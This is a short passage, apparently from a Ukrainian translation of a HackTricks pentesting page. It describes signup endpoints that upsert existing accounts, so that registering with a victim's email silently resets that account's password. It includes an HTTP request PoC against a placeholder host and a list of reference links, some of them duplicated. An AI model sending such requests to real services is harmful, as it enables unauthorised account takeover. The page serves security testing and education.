## Джерела ## Registration-as-Password-Reset (Upsert on Existing Email)
Деякі застосунки реалізують signup handler як upsert. Якщо електронна пошта вже існує, обробник мовчки оновлює запис користувача замість відхилення запиту. Коли registration endpoint приймає мінімальне JSON тіло з існуючою електронною поштою та новим паролем, це фактично стає pre-auth password reset без будь‑якої перевірки прав власності, що дозволяє повний account takeover.
Pre-auth ATO PoC (перезапис пароля існуючого користувача):
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
## Посилання
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Як я знайшов критичну вразливість скидання пароля (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}